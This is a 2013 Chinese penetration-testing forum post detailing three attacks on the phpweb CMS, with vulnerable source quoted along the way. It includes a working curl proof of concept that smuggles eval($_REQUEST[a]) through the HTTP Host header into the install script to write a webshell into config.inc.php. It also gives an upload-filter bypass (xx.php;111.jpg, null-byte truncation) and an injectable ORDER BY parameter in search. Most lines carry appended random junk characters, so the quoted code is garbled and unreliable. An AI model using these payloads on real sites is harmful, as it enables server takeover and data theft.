中国网络渗透测试联盟

标题: phpweb成品网站最新版(注入、上传、写shell) [打印本页]

作者: admin    时间: 2013-1-4 19:45
标题: phpweb成品网站最新版(注入、上传、写shell)
注入:: w5 {2 y9 h8 p' P' A

! R  _% I; a) u9 P2 v: v; {之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码1 ^4 J/ r$ F$ ]4 l+ [6 Z

7 f9 D3 c9 W9 m. l1 ~' c鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件# m9 P6 s; e7 `
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
0 `5 R% `$ Z+ p% G$ O; d & ]: _$ S+ a  W) ~- A" q) P
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响7 l2 d& r" ~4 B5 b6 H

5 }0 P+ J, m/ b/ i  \- c分析:
# K1 O. d1 S; D8 |5 ~# o3 ^
6 ^% w6 E( x- {$ T% {+ K
1 u! r/ `" ]# m. p8 d8 z. L9 h$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤. @) Z4 C; f2 \3 t
4 x8 d2 j  Q# \+ |5 X5 W( P" D
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
2 q( B. i  Q1 `                                            $filestr=str_replace(" ","",$filestr);
$ K0 l( K/ r; A: g                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
1 [3 L/ C; v0 I$ b" t; J1 w                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
! k' a5 R" S3 D; B# ^/ t                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
  i& N1 c* d  t+ `                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);0 |, z2 E* X7 p9 |3 A
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);- [2 {" a+ C" t. l# v
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);) X: N" S8 d# a! ~3 \8 P
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);) f$ u* j1 _1 m: k' }2 v# c- u
& e3 v5 f$ Q! I! l. {1 R. e) x- `  e
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
2 V' h5 ]' h: S. C, Z! L! G$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
7 f0 S  @7 S) Q  i% M 8 J8 `  O8 ^# w9 M8 r; d
poc:- O5 \1 |( R- ~" y* T9 `3 Y
; F! b: J& ]' w, D1 Y1 T+ c5 c
?3 D& J; x3 S0 M1 C# W
1
0 x+ l: r% w0 O4 Hcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"9 Z- m" e2 ^7 {- s/ l
shell地址: /config.inc.php
2 d- l  C4 y) g) e" b) i跟之前的 phpcms一样 需要远程数据库  @- }3 ^# d" U* e

4 Y& E, b, j: h: D——————————————————–7 |8 g% I# |5 v. h
上传漏洞(需要进后台):3 R- v4 Z2 N% ?% p0 ]. e0 Q
漏洞文件: /kedit/upload_cgi/upload.php
( I9 S$ o3 {2 k这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用' F' R! n& n& Y9 L$ ^( m
4 Z3 c3 z2 F5 `2 q0 ^5 x

4 t3 s, L9 k6 q1 b7 M) Z- ^<?php
$ w  c* [0 E) K1 S9 b9 L) J    define("ROOTPATH", "../../");% m' _8 S9 v. h+ F
    include(ROOTPATH."includes/admin.inc.php");
* j) P* B) w' Z, \" P    NeedAuth(0);
7 S6 J- L# a& `9 V( T, y" s) L& l
  v! J" S: U& k% W$ [    $dt=date("Ymd",time());2 ^! D6 d, _! R
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
' s# x6 k/ u% G8 X0 Q            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);! L7 |# K2 y- A0 j% B+ B
    }- W7 |! N* ^& e4 t7 K

3 p2 H* M7 w4 f, j8 x    //文件保存目录路径
* }& w, z" |% c: U$ @    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
% o+ _( L' ^! X7 f- Y    echo $save_path;
& t3 p0 C* y5 V4 r% E0 n/ `6 d) U    //文件保存目录URL
0 g5 G  d" q* E2 H    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
, q- _1 v! X, j  P" b) l$ d& }
% z! c1 O# T: n4 j4 f$ R    //定义允许上传的文件扩展名
! g) _! {+ M) ~- Z    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀! {7 o% q& h: ^/ }- f1 g+ j+ f  B

9 m0 O, E, S7 U* ~5 @( @% a  x+ [    //最大文件大小
" Q- ^% D' p# L4 k( S    $max_size = 1000000;/ m$ s  E: {* r" T9 ~- O$ a; B
9 |/ I3 V; F8 {
    //更改目录权限& a+ e# b0 T; c/ ?  i/ `
    @mkdir($save_path, 0777);* U% M, G2 k5 U
# T6 M+ H# c1 K! C1 U
    //文件的全部路径* J) {; G" e% o
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
1 }' M4 G* u, v# z  O
8 E. \) `( K( i. \, i) M* }    //文件URL
7 \  [" u0 T1 i; D7 Y8 f6 e    $file_url = $save_url.$_POST['fileName'];: k/ k" i+ o# q  _  v+ F: [
//有上传文件时+ q. T. O& p  F7 ^
    if (empty($_FILES) === false) {
' r4 o  \5 D* I6 k $ c( g! G  K7 B# V& I& P3 X$ `
            //原文件名! O, ~3 t7 v% I# B) U
            $file_name = $_FILES['fileData']['name'];- K: W  L/ A$ O( ?
            //服务器上临时文件名
, B8 M# Q- ?+ Y# b. [* n5 s' {            $tmp_name = $_FILES['fileData']['tmp_name'];+ t% }" S7 X; h- K5 V$ x. Q9 ]/ X! W
            //文件大小
# a) a9 d3 K  O  v; D            $file_size = $_FILES['fileData']['size'];
8 C5 E" `  j* f0 I8 Y            //检查目录
0 b: o6 V, c  m            if (@is_dir($save_path) === false) {
5 [: G: g8 |* k  u8 R+ e                    alert("上传目录不存在。");
" x, F- K" K- S/ o/ Q4 v            }& j3 v. e# R9 s8 _& T
            //检查目录写权限  Q5 K( K3 x. |- }# h+ r3 j
            if (@is_writable($save_path) === false) {' Q( q0 i* i4 z" F" {! X! `( N
                    alert("上传目录没有写权限。");
5 A$ |2 H' b, ~; ^+ O            }
, T2 t8 o5 [  _2 u3 J# U            //检查是否已上传& R1 n0 g" }7 \( m4 A' [
            if (@is_uploaded_file($tmp_name) === false) {: ]- D7 Z0 N/ o9 j- X2 r: v
                    alert("临时文件可能不是上传文件。");9 T, \$ C2 w# a& Z
            }# s9 ~" t$ }3 S8 x  i1 p3 J% ^
            //检查文件大小
: l$ k3 U/ l- |' O. Q  [% v  ^1 }            if ($file_size > $max_size) {, J' B2 u4 k2 ~3 p
                    alert("上传文件大小超过限制。");1 ^& n( }+ t5 q+ }5 R
            }+ P1 m; O0 T7 V: W$ e- ~: q7 V* u
            //获得文件扩展名
2 o3 n; p" f5 D% g            $temp_arr = explode(".", $_POST['fileName']);5 m, P! z$ X& C6 b6 g
            $file_ext = array_pop($temp_arr);
; _; b+ \$ T) u" A            $file_ext = trim($file_ext);3 d! m# M5 `/ ]( t2 Q" t0 ]2 B
            $file_ext = strtolower($file_ext);( S4 w. ~" A' B& q+ ?
4 n# `' l6 ?, f9 A& G7 F0 \
            //检查扩展名   : \1 A3 h8 M- b. ]3 j" \* X4 M
            if (in_array($file_ext, $ext_arr) === false) {     % O: T: R; C" K
                    alert("上传文件扩展名是不允许的扩展名。");
' L" }  z' W/ q# b" ^9 o" f2 U: o4 Q            }8 X. J; h% H  g: ]3 f+ N, s
9 C0 w, V# Y* s' U9 j4 Y$ Q
            //移动文件   
/ L7 E% g7 Q4 s" u7 p  K            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^+ h4 D1 S: \" t; ?
            if (move_uploaded_file($tmp_name, $file_path) === false) {
- c8 M1 }0 G# w" C6 Y  {% e                    alert("上传文件失败。");9 N: j: _, e2 L$ p1 N
            }7 w: U' p9 Y& F4 n4 P: @

- H( C7 u; `, h- s6 y            @chmod($file_path,0666);
- p" d$ E$ c2 { 1 B3 X1 m2 K' e' Y+ |7 Y
    ?>
* A* A3 _/ r2 x& l2 ~抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
7 C1 Y. ?$ z/ E; K8 {+ ^0 ?% q& d& N & Y- C' L- Q0 D4 y2 ~
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
9 t, l; P/ @$ f" _6 ?8 ~- y
9 i- I/ Q+ _  N. C8 q; q——————————————————: M! i) d% `1 }  a0 O, t( a- }; R' C
注入漏洞:
8 G$ _! i; v+ _; I. ]漏洞文件:search/module/search.php3 x# U5 g9 T8 v6 n- X( l
/search/index.php?key=1&myord=1 [sqlinjection]
% K  y) R  M: X8 A& |1 T, D 8 C/ h6 A1 V& K2 v  U6 B# s  w/ c
0 J4 @; Q2 x# G, H* N1 M% S8 H
<?php) N' G" I) F5 i" [  X9 u% Q
   //       ... 省略 n 行...
! o" E$ p' ~% d) m; x  E/ K   //第18行:7 T$ q/ T$ P6 [' E4 P+ z5 a
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响. T2 T4 @; y5 Z- u) ?+ c
           $page=htmlspecialchars($_GET["page"]);
3 R0 _" T4 u5 Z6 M; t  B           $myord=htmlspecialchars($_GET["myord"]);
/ `8 ^& n' b1 b  C9 r4 h " x! r$ V$ l7 u" c! e) P. B5 J$ f9 n
   //       ... 省略 n 行...9 s! {* }! Q9 i# ?( q
   $key,$myord 两个参数带入查询& Y9 c1 B3 J. k2 L- [2 ]1 h
   //第47行 $key:6 _, _! f; |7 ~7 x  q& |+ }0 f- _

* ]- E) V5 [3 L1 @+ s. o; s- m   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..9 a1 x- o# A8 k+ Q+ {' R+ K; A
' {) L( P0 S' K4 B; r* Q+ j5 B
   //第197行 $myord
9 w6 v! J( ^& Z+ o   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
8 {" |! R- M0 R
8 P8 l! v6 \: z7 e   ?>
  v9 p, m( s" v% X" ?9 _$ ^6 T/ A




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2